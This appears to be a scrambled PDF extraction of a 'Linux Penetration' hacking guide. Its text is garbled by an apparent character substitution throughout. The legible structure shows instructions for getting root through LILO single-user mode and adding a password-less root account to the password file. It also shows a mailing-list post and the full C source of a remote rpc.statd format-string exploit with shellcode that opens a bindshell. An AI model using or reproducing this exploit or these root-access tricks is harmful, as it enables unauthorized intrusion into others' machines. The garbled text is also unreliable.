8/8/2019 Linux Penetration

1/35

Laob|a ~a ibva bm# xka|a ep bma xkemn xkfx ubq maah xb gaaz em iemh- e-a- Ob| xkep xb~b|g# ubq maah xb kfva zkupe`fc f``app xb xka xf|nax pupxai- Fmu~fu# lbbx xka xf|naxpupxai fmh ~fex ob| xka CEmq{ CBfha| b| CECB Z|bizx xb `bia qz-

Fx xka CECB z|bizx xuza cemq{ pemnca +~exkbqx Vqbxap% b| cemq{ 6 xb nax xka |bbx pkacc~ka|a ubq `fm z|f`xe`fccu hb fmuxkemn-

Bm`a Cemq{ pemnca ep |qmmemn# ubq nax xka |bbx pkacc ~ka|a ubq `fm xuza `fm fmu`biifmh ~ke`k ep f``azxah lu xka haofqcx pkacc bm ubq| pupxai- Mb~# ka|a# xuzacemq{`bmo- Xkep ~ecc l|emn qz f lcqa p`|aam# ~ke`k ep xka Cemq{ @bmoenq|fxebm Qxecexu-Xkam# `ce`g bm Qpa|p = \bbx Zfpp~b|h- Xkep ~ecc fccb~ ubq xb `kfmna xka |bbxzfpp~b|h&&& Uap# ubq |afh |enkx# `kfmna xka |bbx zfpp~b|h- P`|bcc hb~m oq|xka|# fmh ubq`bqch fcpb fhh ma~ f``bqmxp ~exk |bbx z|evecanap-

Xka cemq{ `bmoen qxecexu ep `a|xfemcu mbx f kbca em Cemq{- Ex ~fp f`xqfccu hapenmah xb kacz#eo xka |bbx zfpp~b|h ~fp ob|nbxxam-

^acc# xka|a ep uax fmbxka| ~fu em ~ke`k ~a `fm nax |bbx- Em xka oe|px iaxkbh# ~a xuzahcemq{`bmo em xka lfpk pkacc z|bizx# kb~ava|# ~a `bqch xuza xka obccb~emn xb `|afxa fma~ f``bqmx ~exk |bbx z|evecanap fmh ~exkbqx fmu zfpp~b|h4

a`kb a~b|ch44:4:444 == "ax`"zfpp~h

Xkep `biifmh ~ecc lfpe`fccu ahex xka "ax`"zfpp~h oeca ~ke`k ep xka zfpp~b|h oeca ~ke`kpxb|ap xka Zfpp~b|hp fmh Qpa|mfiap bo fcc f``bqmxp bm xka if`kema- Bma xkemn xb|aiaila| ka|a ep xkfx ubq `fm ahex xka "ax`"zfpp~h oeca bmcu eo ubq f|a cbnnah em fp |bbx#kb~ava|# em xkep `fpa ~a f|a mbx cbnnah em fp |bbx# lqx ~a kfva lbbxah emxb cemq{ pemnca~ke`k nevap qp xka |bbx pkacc- Kam`a# ~a `fm pxecc ahex ex-

Fmu~fu# xb qmha|pxfmh kb~ a{f`xcu xka flbva `biifmh ~b|gp fmh kb~ ex ep flca xb`|afxa f ma~ f``bqmx ~exkbqx f zfpp~b|h# ~a maah xb caf|m xka "ax`"zfpp~h oeca eppx|q`xq|ah-

8/8/2019 Linux Penetration

2/35

Xka obccb~emn ep f cema o|bi f zfpp~b|h oeca4

a~b|ch4iuRzfpp~b|h4

8/8/2019 Linux Penetration

3/35

N|bqz Mqila|4 :

F`xqfc Mfia4

Kbia He|a`xb|u4

Xuza bo Pkacc4

Xkep lfpe`fccu `|afxap f ma~ f``bqmx ~exk |bbx z|evecanap# ~ke`k `fm la qpah fp fLf`ghbb| emxb xka pupxai-

$$$$$$$$$$$$$$$$$$$$$$

KF@GEMN X\QXK4 Eo ubq kfva amflcah# pkfhb~ zfpp~b|hp# xkam xka `biifmh ~ecc`kfmna xb4

a`kb a~b|ch44:4:444 == "ax`"pkfhb~

F xuze`fc cema o|bi xka zfpp~b|h oeca bm f pupxai ~exk Pkfhb~ Zfpp~b|hp amflcah ep fpobccb~p4

a~b|ch4$4

8/8/2019 Linux Penetration

4/35

Mb~# fp ubq f|a em xka |bbx pkacc# cfqm`k ubq| ofvb|exa ahexb| +an ve% fmh bzam "ax`"zfpp~hem ex- Mb~# hacaxa xka am`|uzxah xa{x lax~aam xka oe|px x~b `bcbmp em xka cema# ~ke`k

`bmxfemp xka amx|u ob| |bbx- Xkep# ~ecc mbx `|afxa f ma~ f``bqmx ~exk |bbx z|evecanap# lqx~ecc `kfmna xka zfpp~b|h bo xka |bbx# xb mqcc- Pb# lfpe`fccu xkep ~ecc nax ubq f |bbx f``bqmx~exkbqx fmu zfpp~b|h- Bm`a# ubq kfva |aibvah xka am`|uzxah zfpp~b|h# fx xka z|bizx#xuza emex 0 xb p~ex`k lf`g xb xka mb|ifc pxf|x qz b| acpa ob| f n|fzke`fc pxf|x qz xuza4 emex 1-

Mb~# pfu ubq hb mbx ~fmx xb `|afxa f ma~ f``bqmx# lqx ~fmx xb `kfmna xka |bbx zfpp~b|hpb fp xb xaf`k xka pupxai fhiemepx|fxb| f cappbm- ^kfx hb ubq hb2 ^acc# peizcu qpa xkazfpp~h `biifmh obccb~ah lu xka ma~ zfpp~b|h- Fp ubq f|a em xka |bbx pkacc# xka |bbx

zfpp~b|h ~ecc `kfmna xb xka ma~ bma xkfx ubq pqzzcu-

BG# E nax xka zbemx7 Cemq{ xbb ep mbx 6::! pfoa# pb kb~ `fm E ifga ex pfoa|2 ^acc# ubq`bqch zfpp~b|h z|bxa`x cemq{ pemnca- Xb hb pb# ubq kfva xb cfqm`k ubq| ofvb|exa ahexb|cega ve# fmh bzam "ax`"CECB-`bmo- Mb~# fhh xka obccb~emn cema# em f ma~ cema# foxa| xka oe|pxcema4

\apx|e`xah zfpp~b|hRnbapRka|a

+Xka flbva ep4 \apx|e`xah obccb~ah lu f pzf`a fmh obccb~emn lu xka zfpp~b|h xkfx ubq`kbbpa-%

Mb~# pfva fmh `cbpa xka ahexb|- Fx xka z|bizx xkam xuza4 CECB# xb a{a`qxa xka"ax`"CECB-`bmo oeca# pb fp xb ifga xka `kfmnap- Mb~# xka ma{x xeia# ubq xuza cemq{pemnca# fx xka CECB z|bizx# ubq ~ecc la fpgah xka zfpp~b|h xkfx ubq xuzah em xka flbvaoeca- Pb xkep lfpe`fccu f`xp fp fmbxka| lf||ea| ob| fmubma x|uemn xb qpa xka xa`kmeqaphap`|elah em xkep ifmqfc# xb l|afg emxb ubq| Cemq{ lb{- Mbma# bo xka bxka| oqm`xebmemn boxka cemq{ lb{ ~ecc la fooa`xah-

$$$$$$$$$$$$$$$$$$$$

8/8/2019 Linux Penetration

5/35

KF@GEMN X\QXK4 ^acc# F|fnbm +vacdgbzJzxx-uq % pqnnapxah uax fmbxka| iaxkbh#~ke`k E ~bqch cega xb iamxebm-

6-Nb xb he|a`xb|u "ax`"|`-h

8/8/2019 Linux Penetration

6/35

Ke#

Em`cqhah lacb~ ep fm a{zcbex ob| xka |a`amxcu a{zbpah cemq{ |z`-pxfxh

ob|ifx px|emn vqcma|flecexuW:Y- E kfva xfecb|ah ex xb~f|hp `q||amx \ahkfx

Cemq{ ?-{ empxfccfxebmp- Ex `fm afpecu la em`b|zb|fxah emxb fxxf`gp fnfempx

xka bxka| vqcma|flca Cemq{ hepx|elqxebmp-

E fi mbx f pa`q|exu a{za|x# lqx E.cc booa| iu x~b `amxp ~b|xk4 xkep ob|ifx

px|emn eppqa# ~keca h|f~emn qzbm acaiamxp bo px|fenkxob|~f|h lqooa| bva|ocb~

a{zcbexfxebm# ep ib|a empehebqp fmh ~ecc z|blflcu xfga pbia xeia xb empxecc

expaco em xka iemhp bo avam pa`q|exu)`bmp`ebqp z|bn|fiia|p- Z|bn|fip cega

EXP8W6Y# zp`fmW

8/8/2019 Linux Penetration

7/35

pkb~p qp xkfx f cbx bo z|bn|fip pbiakb~ pcezzah xk|bqnk xka `|f`gp-% Pbiabma

acpa pamx fm a{`accamx zbpx flbqx xka zbppelecexu bo ,|aibxa halqnnemn, ~exk

xkapa ob|ifx px|emn vqcma|flecexeap- Bm`a fnfem# E.i mbx pzafgemn bqx bo fmu

fqxkb|exu# lqx E `fm pfu xkfx pq`k fm feh xb bxka|~epa lcemh a{zcbexfxebm

ep emhaah f nbhpamh ~kam f kbpx ep laemn z|blah lu f pgeccah emx|qha|-

Ubq iqpx qmha|pxfmh xkfx xkep zf|xe`qcf| vqcma|flecexu ep iq`k kf|ha| xb

a{zcbex xkfm xka lqooa| bva|ocb~ vqcma|flecexeap xkfx ubq.|a z|blflcu

f``qpxbiah xb- Xka z|blcai ~ke`k ~ecc lexa ubq ep xkfx eo xka `fc`qcfxebmp

f|a mbx z|a`epa# pxfxh `|fpkap ~exk f PENPAN_- Fp ubq.va |afcetah lu mb~#

l|qxa ob|`emn ~bm.x `qx ex- Fcpb# f pq``appoqc a{zcbexfxebm ~ecc |amha|

pqlpaqamx fxxf`gp o|qexcapp-

E kfva paam pxfxh |qmmemn bm f n|afx mqila| bo cemq{ pupxaip fmh eo ubq `fm

peiqcfxa fm fxxf`g fnfempx f |aibxa pupxai bm bma bo ubq| b~m lb{ap# ex ep

$x|evefc$ xb a{zcbex xkfx |aibxa pupxai- Hapzexa xka pkb|x`biemn ~exk

xka pemnca fxxaizx |apx|e`xebm# ex ~fp zbppelca xb |ahq`a xka a{zcbexfxebm

vf|eflcap hb~m xb f PEMNCA fhh|app ob| ibpx fxxf`gp- Xka haofqcx vfcqap

ob| \ahkfx Cemq{ ?-{ ~b|g oema ob| ia# pb E.i z|blflcu oqppemn bva| mbxkemn-

Fmu~fu# amdbu xka a{zcbex-

|bm6m

8/8/2019 Linux Penetration

8/35

pkacc`bhaJkbxifec-`bi

Puhmau# Fqpx|fcef

I`Hbmfchp h|eva)xk|q nqu

W:Y kxxz4""~~~-pa`q|exuob`qp-`bi"

W6Y kxxz4""~~~-|px`b|z-`bi"exp8"

W

8/8/2019 Linux Penetration

9/35

$$$ ^kb ~amx fkafh fmh oacc ob| ubq

$$$

$$$ ( n`` )b pxfxh{ pxfxh{-` 7 -"pxfxh{ )k

$$$

$$$ lf`gn|bqmh emob

$$$ )))))))))))))))

$$$ |z`-pxfxh ep fm BM@ \Z@ pa|va| xkfx eizcaiamxp xka Max~b|g Pxfxqp

$$$ Ibmexb| \Z@ z|bxb`bc xb z|bveha |albbx mbxeoe`fxebm- Ex ep qpah lu

$$$ xka MOP oeca cb`gemn pa|ve`a +|z`-cb`gh% ~kam ex za|ob|ip cb`g

$$$ |a`bva|u-

$$$

$$$ Hqa xb f ob|ifx px|emn vqcma|flecexu em f `fcc xb pupcbn+% ~exkem

$$$ exp cbnnemn ibhqca# |z`-pxfxh `fm la a{zcbexah |aibxacu lu p`|ezx

$$$ gehp lamx bm l|afgemn emxb ubq| \ahkfx Cemq{ lb{ fmh haof`emn ubq|

$$$ ~alpexa ~exk `|f`gzbx zbcexe`fc iqpemnp-

$$$

$$$ Xkep ep mbx f x|fhexebmfc lqooa| bva|ocb~ vqcma|flecexu- Xka hfxf

$$$ f|a gazx ~exkem xka lbqmhp bo xka lqooa| lu iafmp bo f `fcc xb

$$$ vpmz|emxo+%- Xka pfvah |axq|m fhh|app `fm la bva|~|exxam emhe|a`xcu

$$$ ~exkbqx f `bmxenqbqp zfucbfh- pupcbn+% ep nevam# ob| xka ibpx zf|x#

$$$ f qpa|)pqzzceah ob|ifx px|emn ~exk mb z|b`app)pqzzceah f|nqiamxp-

$$$ Bq| ob|ifx px|emn ~ecc# eo `f|aoqccu `bmpx|q`xah# `fqpa xka z|b`app

$$$ xb `qcc mbm)f|lex|f|u fhh|appap o|bi xka xbz bo xka pxf`g ob|

8/8/2019 Linux Penetration

10/35

$$$ paqamxefc ~|exap qpemn `bmx|bccah vfcqap- A{zcbexfxebm |aqe|ap

$$$ fm a{a`qxflca pxf`g bm xka xf|nax kbpx )) fcibpx emvf|eflcu xka

$$$ `fpa- Xkep z|blcai ~fp `b||a`xah em xka mop)qxecp):-6-5-6 |zi-

$$$

$$$ a{zcbex emob

$$$ ))))))))))))

$$$ Ubq kfva bma pkbx fx xkep em ibpx pexqfxebmp# pb nax ex |enkx&

$$$

$$$ Eo ubq gmb~ xka zb|x mqila| |z`-pxfxh ep pa|vemn |aqapxp bm# ubq

$$$ `fm pqzzcu xka zb|x mqila| bm xka `biifmhcema xb luzfpp xka emexefc

$$$ zb|xifzza| qa|u- Xkep ep va|u qpaoqc ob| kbpxp ~ke`k f|a oecxa|emn

$$$ emlbqmh `bmma`xebmp xb xka zb|xifzza|- Xka haofqcx fxxf`g z|bxb`bc

$$$ ep QHZ- Xka|a ep f `biifmhcema bzxebm xb qpa X@Z- Fzzf|amxcu# xka

$$$ hepzfx`ka| qpap lbxk z|bxb`bcp lu haofqcx-

$$$

$$$ Eo ubq.|a bmcu emxa|apxah em a{zcbexemn f kbpx# xkam ubq `fm pfoacu

$$$ pgez xka obccb~emn emob|ifxebm- Ubq.cc bmcu maah f lqooa| fhh|app

$$$ xb nax pxf|xah- Xkep lqooa| fhh|app ~ecc aexka| la bma bo iu `fmmah

$$$ bmap b| ubq| b~m bma- Ex iqpx la z|a`epa# fmh xkep ep ~ka|a ubq.|a

$$$ cegacu xb a{za|eam`a heooe`qcxeap ~exk ubq| fxxf`gp-

$$$

$$$ WvfRcepxYWpx|YW8YW|YW8YW|'6YW8YW|'

8/8/2019 Linux Penetration

11/35

$$$ !apz lqooa|W6:

8/8/2019 Linux Penetration

12/35

$$$

$$$ Wxa|i 6Y cx|f`a )z jzehbo |z`-pxfxhj )b obb

$$$ Wxa|i

8/8/2019 Linux Penetration

13/35

em`cqha 3maxhl-k=

em`cqha 3|z`"|z`-k=

em`cqha 3pup"xuzap-k=

em`cqha 3pup"xeia-k=

em`cqha 3pup"pb`gax-k=

em`cqha 3maxemax"em-k=

haoema PIRZ\BN 6:::

8/8/2019 Linux Penetration

14/35

"$ diz |e`b`kax ))))))))))))))))))))))))))))))))))))))))))))))))))))))) $"

,S{alS{>`, "$ diz :{>` $"

"$ gqmnoq4 )))))))))))))))))))))))))))))))))))))))))))))))))))))))))))) $"

,S{15, "$ zbzc !a`{ $"

,S{;5S{86S{6:, "$ ibvc !af{#:{6:+!a`{% $"

"$ )))))))))))))))))))))))))))))))))))) pb`gax+

8/8/2019 Linux Penetration

15/35

,S{`hS{;:, "$ emx (:{;: $"

"$ )))))))))))))))))))))))))))))))))))) cepxam+ph#lcfk%7 )))))))))))))) $"

,S{l0S{:8, "$ ibvl (:{8#!lc $"

,S{l:S{??, "$ ibvl (:{??#!fc $"

,S{`hS{;:, "$ emx (:{;: $"

"$ )))))))))))))))))))))))))))))))))))) f``azx+ph#:#6?%7 )))))))))))))) $"

,S{l0S{:1, "$ ibvl (:{1#!lc $"

,S{0:S{`:, "$ {b|l !fc#!fc $"

,S{;;S{86S{:8, "$ ibvl !fc#:{8+!a`{% $"

,S{l:S{??, "$ ibvl (:{??#!fc $"

,S{`hS{;:, "$ emx (:{;: $"

"$ )))))))))))))))))))))))))))))))))))) hqz

8/8/2019 Linux Penetration

16/35

,S{l:S{0o, "$ ibvl (:{0o#!fc $"

,S{`hS{;:, "$ emx (:{;: $"

"$ )))))))))))))))))))))))))))))))))))) a{a`va+,"lem"pk,#f|nv#:%7 ))))) $"

,S{`>S{:?S{, "$ ibvl !fc#:{>+!ape% $"

,S{;5S{>?S{:`, "$ ibvc !ape#:{`+!ape% $"

,S{;hS{1?S{6:, "$ cafc :{6:+!ape%#!ah{ $"

,S{;hS{8aS{:`, "$ cafc :{`+!ape%#!a`{ $"

,S{;5S{o0, "$ ibvc !ape#!al{ $"

,S{l:S{:l, "$ ibvl (:{l#!fc $"

,S{`hS{;:, "$ emx (:{;: $"

"$ )))))))))))))))))))))))))))))))))))) a{ex+lcfk%7 ))))))))))))))))))) $"

,S{l:S{:6, "$ ibvl (:{6#!fc $"

,S{`hS{;:, "$ emx (:{;: $"

"$ |e`b`kax4 fcc gqmnoq )))))))))))))))))))))))))))))))))))))))))))))) $"

,S{a;S{>oS{ooS{ooS{oo,7 "$ `fcc ):{;6 $"

amqi |ap

w

pxfxRpq``#

pxfxRofec

8/8/2019 Linux Penetration

17/35

y7

px|q`x piRmfia

w

`kf| $ibmRmfia7

y7

px|q`x piRpxfxR|ap

w

amqi |ap |apRpxfx7

emx pxfxa7

y7

px|q`x xuza

w

emx xuza7

`kf| $hap`7

`kf| $`bha7

qRcbmn lqozbp7

emx lqocam7

emx boopax7

emx ~eza7

y7

8/8/2019 Linux Penetration

18/35

px|q`x xuza xuzapWY 9

w

w:# ,\ahkfx ?-< +mop)qxecp):-6-?)%,# pkacc`bha# :{loooo068# 6:

8/8/2019 Linux Penetration

19/35

|axq|m +X\QA%7

y

lbbcRx

{h|RpiRpxfxR|ap+[H\ ${h|p# px|q`x piRpxfxR|ap $bldz%

w

eo +&{h|R|ap+{h|p# /bldz)=|apRpxfx%%

|axq|m +OFCPA%7

eo +&{h|Remx+{h|p# /bldz)=pxfxa%%

|axq|m +OFCPA%7

|axq|m +X\QA%7

y

vbeh

qpfna+`kf| $fzz%

w

emx e7

oz|emxo+pxha||# ,pxfxh{ lu |bm6m 3pkacc`bhaJkbxifec-`bi=Sm,%7

oz|emxo+pxha||# ,Qpfna4 !p W)xY W)z zb|xY W)f fhh|Y W)c camYSm,# fzz%7

oz|emxo+pxha||# ,SxW)b boopaxY W)~ mqiY W)p pa`pY W)h xuzaY

3xf|nax=Sm,%7

oz|emxo+pxha||# ,)xSxfxxf`g f x`z hepzfx`ka| WqhzYSm,%7

8/8/2019 Linux Penetration

20/35

oz|emxo+pxha||# ,)zSx|z`-pxfxh pa|vap |aqapxp bm 3zb|x= Wqa|uYSm,%7

oz|emxo+pxha||# ,)fSxxka pxf`g fhh|app bo xka lqooa| ep 3fhh|=Sm,%7

oz|emxo+pxha||# ,)cSxxka camnxk bo xka lqooa| ep 3cam= W6:

8/8/2019 Linux Penetration

21/35

pamh+pb`gh# ,`h "7 cp )fcO7 eh7Sm,# 65# :%7

ob|+77%

w

OHRTA\B+/ohp%7

OHRPAX+oecamb+pxhem%# /ohp%7

OHRPAX+pb`gh# /ohp%7

eo+paca`x+oif{# /ohp# MQCC# MQCC# MQCC% 3 :%

w

za||b|+,paca`x+%,%7

a{ex+A[EXROFECQ\A%7

y

eo+OHREPPAX+pb`gh# /ohp%%

w

lta|b+lqoo# petabo lqoo%7

eo++|ax 9 |a`v+pb`gh# lqoo# petabo lqoo# :%% 3 :%

w

za||b|+,|a`v+%,%7

a{ex+A[EXROFECQ\A%7

y

8/8/2019 Linux Penetration

22/35

eo+&|ax%

w

oz|emxo+pxha||# ,@bmma`xebm `cbpahSm,%7

a{ex+A[EXROFECQ\A%7

y

~|exa+oecamb+pxhbqx%# lqoo# |ax%7

y

eo+OHREPPAX+oecamb+pxhem%# /ohp%%

w

lta|b+lqoo# petabo lqoo%7

|ax 9 |afh+oecamb+pxhem%# lqoo# petabo lqoo%7

a||mb 9 :7

eo+pamh+pb`gh# lqoo# |ax# :% &9 |ax%

w

eo+a||mb% za||b|+,pamh+%,%7

acpa oz|emxo+pxha||# ,X|fmpieppebm cbppSm,%7

a{ex+A[EXROFECQ\A%7

y

y

y

y

8/8/2019 Linux Penetration

23/35

vbeh

`bmma`xebm+px|q`x pb`gfhh|Rem kbpx%

w

emx pb`gh7

kbpx-pemRzb|x 9 kxbmp+056?;%7

eo++pb`gh 9 pb`gax+FOREMAX# PB@GRPX\AFI# EZZ\BXBRX@Z%% 3 :%

w

za||b|+,pb`gax+%,%7

a{ex+A[EXROFECQ\A%7

y

eo+&`bmma`x+pb`gh# +px|q`x pb`gfhh| $% /kbpx# petabo kbpx%%

w

z|emxo+,BIN& Ubq mb~ kfva |z`-pxfxh xa`kmeqa&J(&Sm,%7

|qmpkacc+pb`gh%7

y

`cbpa+pb`gh%7

y

8/8/2019 Linux Penetration

24/35

`kf| $

~etf|h|u+`kf| $p`# qRcbmn lqozbp# emx lqocam# emx boopax# emx ~eza%

w

emx e# d# `mx# zfh7

`kf| zluxa# $lqoo# $zx|7

qRcbmn |axzbp7

qRcbmn hpxzbp7

~keca+lqozbp ! 8% lqozbp))7

"$ lqocam ' alz $"

|axzbp 9 lqozbp ' lqocam ' 87

"$

$$ :{:: 99 .S:.

$$ :{

8/8/2019 Linux Penetration

25/35

eo+zluxa 99 :{:: ss zluxa 99 :{

8/8/2019 Linux Penetration

26/35

iaipax+zx|# MBZ# lqocam%7

ob|+e 9 :7 e 3 87 e''# |axzbp''%

w

"$ dqmg h~b|h $"

ob|+d 9 :7 d 3 87 d''%

$zx|'' 9 |axzbp == d $ ; / :{oo7

"$ | ' e $"

iai`zu+zx|# zx| ) 8# 8%7

zx| '9 87 `mx '9 ;7

y

"$ |apxb|a $"

|axzbp )9 87

ob|+e 9 :7 e 3 ~eza7 e''%

w

"$ `bmpepxamx `fc`qcfxebmp $"

px|m`zu+zx|# ,!;{,# 0%7

zx| '9 07 `mx '9 ;7

y

hpxzbp 9 lqozbp ' boopax7

8/8/2019 Linux Penetration

27/35

"$

$$ Xkep pifcc fcnb|exki bo iema `fm la qpah

$$ xb blxfem ,heooe`qcx, vfcqap--

$"

ob|+e 9 :7 e 3 87 e''%

w

zfh 9 hpxzbp == e $ ; / :{oo7

eo+zfh 99 +`mx / :{oo%%

w

pz|emxo+zx|# ,!!m!!m,%7

zx| '9 87 `bmxemqa7

y

acpa

w

emx xiz7

"$ :{oooooooo 9 hepzcfu `bqmx bo ; $"

~keca+zfh 3 `mx ss zfh ! `mx 39 ;% zfh '9 :{6::7

zfh )9 `mx# `mx '9 zfh7

"$ xka pbq|`a bo xkep avec $"

xiz 9 pz|emxo+zx|# ,!!!h{!!m,# zfh%7

zx| '9 xiz7

8/8/2019 Linux Penetration

28/35

y

y

$zx| 9 MBZ7

"$ zcqn em xka pkacc`bha $"

iai`zu+lqoo ' lqocam ) px|cam+p`%# p`# px|cam+p`%%7

lqooWlqocamY 9 .S:.7

z|emxo+,lqooa|4 !c{ camnxk4 !h +'px|"'mqc%Sm,# lqozbp# px|cam+lqoo%%7

z|emxo+,xf|nax4 !c{ ma~4 !c{ +boopax4 !h%Sm,# |axzbp# hpxzbp# boopax%7

z|emxo+,~ezemn !h h~b|hpSm,# ~eza%7

|axq|m lqoo7

y

px|q`x emRfhh|

naxez+`kf| $kbpx%

w

px|q`x kbpxamx $kp7

eo++kp 9 naxkbpxlumfia+kbpx%% 99 MQCC%

w

ka||b|+,naxkbpxlumfia+%,%7

8/8/2019 Linux Penetration

29/35

a{ex+A[EXROFECQ\A%7

y

|axq|m $++px|q`x emRfhh| $% kp)=kRfhh|%7

y

emx

ifem+emx f|n`# `kf| $$f|nv%

w

emx `k7

`kf| $lqoo7

@CEAMX $`cmx7

amqi `cmxRpxfx |ap7

px|q`x xeiavfc xv# xv|7

px|q`x piRmfia pimfia7

px|q`x piRpxfxR|ap pi|ap7

px|q`x pb`gfhh|Rem fhh|7

emx xuza 9 )67

emx qpax`z 9 :7

emx xeiabqx 9 17

8/8/2019 Linux Penetration

30/35

emx ~eza 9 57

emx boopax 9 ?::7

emx lqocam 9 6:

8/8/2019 Linux Penetration

31/35

8/8/2019 Linux Penetration

32/35

p` 9 xuzapWxuzaY-`bha7

lqozbp 9 xuzapWxuzaY-lqozbp7

lqocam 9 xuzapWxuzaY-lqocam7

boopax 9 xuzapWxuzaY-boopax7

~eza 9 xuzapWxuzaY-~eza7

y

eo+&lqozbp%

w

oz|emxo+pxha||# ,Mb lqooa| fhh|app pza`eoeahSm,%7

a{ex+A[EXROFECQ\A%7

y

lta|b+/fhh|# petabo fhh|%7

fhh|-pemRofiecu 9 FOREMAX7

fhh|-pemRzb|x 9 kxbmp+zb|x%7

fhh|-pemRfhh| 9 naxez+xf|nax%7

xv-xvRpa` 9 xeiabqx7

xv-xvRqpa` 9 :7

eo+&qpax`z%

w

8/8/2019 Linux Penetration

33/35

`cmx 9 `cmxqhzR`|afxa+/fhh|# PIRZ\BN# PIR_A\P# xv# /pb`gz%7

eo+`cmx 99 MQCC%

w

`cmxRz`|afxaa||b|+,`cmxqhzR`|afxa+%,%7

a{ex+A[EXROFECQ\A%7

y

xv|-xvRpa` 9

8/8/2019 Linux Penetration

34/35

lqoo 9 ~etf|h|u+p`# lqozbp# lqocam# boopax# ~eza%7

pimfia-ibmRmfia 9 lqoo7

|ap 9 `cmxR`fcc+`cmx# PIRPXFX# +{h|z|b`Rx% {h|RpiRmfia#

+`fhh|Rx% /pimfia# +{h|z|b`Rx% {h|RpiRpxfxR|ap#

+`fhh|Rx% /pi|ap# xv%7

eo+|ap &9 \Z@RPQ@@APP%

w

`cmxRza||b|+`cmx# ,`cmxR`fcc+%,%7

z|emxo+,F xeiabqx ~fp a{za`xah- Fxxaizxemn `bmma`xebm xb pkacc--,%7

pcaaz+1%7 `bmma`xebm+fhh|%7

z|emxo+,OfecahSm,%7

y

acpa

w

z|emxo+,Ofecah ) pxfxh |axq|mah |apRpxfx4 +!p% pxfxa4 !hSm,#

pi|ap-|apRpxfx 2 ,ofecq|a, 4 ,pq``app,# pi|ap-pxfxa%7

y

o|aa+lqoo%7

`cmxRhapx|bu+`cmx%7

|axq|m )67

8/8/2019 Linux Penetration

35/35

y

RRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRR